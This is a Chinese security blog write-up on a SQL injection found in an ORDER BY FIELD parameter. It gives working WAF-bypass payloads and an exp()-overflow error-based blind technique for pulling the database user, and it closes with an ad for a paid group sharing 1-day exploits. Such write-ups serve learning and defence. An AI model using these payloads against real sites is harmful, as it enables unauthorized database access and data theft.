声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
某次奇怪的sql注入记录
0x01 发现注入
keyValue=29'
keyValue=29'='29
正常执行
常规手法尝试注出库名,(先构造逻辑运算,在构造报错,再在报错语句中执行查询)
keyValue=29'=if(1 like 1 ,1,1)='29
,发现有某waf
利用该waf特性,将if函数的参数类型稍作修改即可绕过,例如十六进制字符
keyValue=29'=if(1 like 1 ,1,0x11)='29
0x02 order by field
order by field 是mysql中基于order by拓展的一种语法,用于更加定制化的排序
只使用order by的话,只能对指定列的值按照正序/逆序进行排序
例如对以下数据按照id进行排序,返回的结果要么是id的值从1-10顺序排列,要么是使用order by desc使结果为id的值从10-1逆序排列
有没有一种办法使返回结果按照给定的id序列排序呢,例如返回结果序列对应id的序列为
1,3,5,7,9,2,4,6,8,10
这种order by fieid就可以解决如下需求
值得注意的是,当order by field指定排序的列的值为字符串类型时,必须用引号括起来,否则会报错(mysql中int类型的数字与char类型的数字是可以相等的,这种情况除外)
知道了这个特性,就不难猜出之前的注入会什么执行时会多了几个单引号了,应该就是开发设计后端在接受前端传过来的order by field的参数并拼接到sql语句中时,对所有传入的参数先以逗号为分隔符分组,再将分组的数据各自用单引号括起来在拼接到sql语句中执行。
比如当我们传入
keyValue=29'=if(1 like 1 ,1,0x11)='29
时,后端对传入的字符串以逗号进行截取,获得三个字符串如下
29'=if(1 like 1
1
0x11)='29
再将三个字符串各自用引号括起来作为order by field的参数
所以当传入
keyValue为29'=if(1 like 1 ,1,0x11)='29
,数据库中执行的是
SELECT * FROM xxx WHERE xxx ORDER BY FIELD (`id`, '29'=if(1 like 1 ','1','0x11)='29') LIMIT 0,999999
搞清楚了语句的逻辑后,接下来开始构造闭合语句
0x03 注出库名
将
29'=if(1 like 1 ,1,0x11)='29改成==》29'=if('1' like '1 ,1,0x11')='29
构造报错
keyValue=29'=if(exp(111) like '1 ,1,0x11')='29
keyValue=29'=if(exp(710) like '1 ,1,0x11')='29
返回不一样,可以使用报错盲注
开始尝试爆user
keyValue=29'=if(exp(if(current_user like '1,710,1')) like '1 ,1,0x11')='29
waf阻断
老样子,将if函数的的参数值修改一下绕过该waf
if(current_user like 1,710,1)==》if(current_user like 1,710,0x11)
居然不行,应该是触发了别的拦截策略,将current_user改成current_use又可以了,一开始以为是检测了current_user这个字符串,后来发现并不是,将if函数的参数再fuzz修改一下,绕过成功
if(current_user like 1,710,0x11)==》if(1/(current_user like 1),710,0x11)
keyValue=29'=if(exp(if(1/(current_user like '1),710,0x11')) like '1 ,1,0x11')='29
29'=if(exp(if(1/(current_user like '1)
最终执行为
SELECT * FROM xxx WHERE xxx ORDER BY FIELD(`id`, '29'=if(exp(if(1/(current_user like '1)','710','0x11')) like '1 ','1','0x11')='29') LIMIT 0,999999
修改为如下后
keyValue=29'=if(exp(if(1/(current_user like '1')='1,710,0x11')) like '1 ,1,0x11')='29
经过后端处理原先的第一个取值为
29'=if(exp(if(1/(current_user like '1')='1
最终执行为
SELECT * FROM xxx WHERE xxx ORDER BY FIELD(`id`, '29'=if(exp(if(1/(current_user like '1')='1','710','0x11')) like '1 ','1','0x11')='29'') LIMIT 0,999999
一位一位直接跑出user
keyValue=29'=if(exp(if(1/(current_user like 'root%')='1,710,0x11')) like '1 ,1,0x11')='29
原文链接
https://forum.butian.net/share/2393
| 知识星球的介绍
不好意思,兄弟们,这里给湘安无事星球打个广告,不喜欢的可以直接滑走哦。
1.群主为什么要建知识星球?
很简单为了恰饭哈哈哈,然后也是为了建立一个圈子进行交流学习和共享资源嘛
相应的也收取费用嘛,毕竟维持星球也需要精力
2.知识星球有哪些资源?
群里面联系群主是可以要一些免费的学习资料的,因为群里面大部分是大学生嘛
大学生不就是喜欢白嫖,所以大家会共享一些资料
没有的群主wk也有,wk除了不会pc,其他都能嫖hhh
一些实战报告,截的部分
一些1day的poc,这些也就是信息差,不想找可以让wk帮你们嫖,群主也会经常发
一些共享的资源
1.刀客源码的会员
2.fofa 360高级会员
3.专属漏洞库
5.专属内部it免费课程
6.不定期直播分享(星球有录屏)
技术交流可加下方wx
原文始发于微信公众号(湘安无事):记一次奇怪的SQL注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论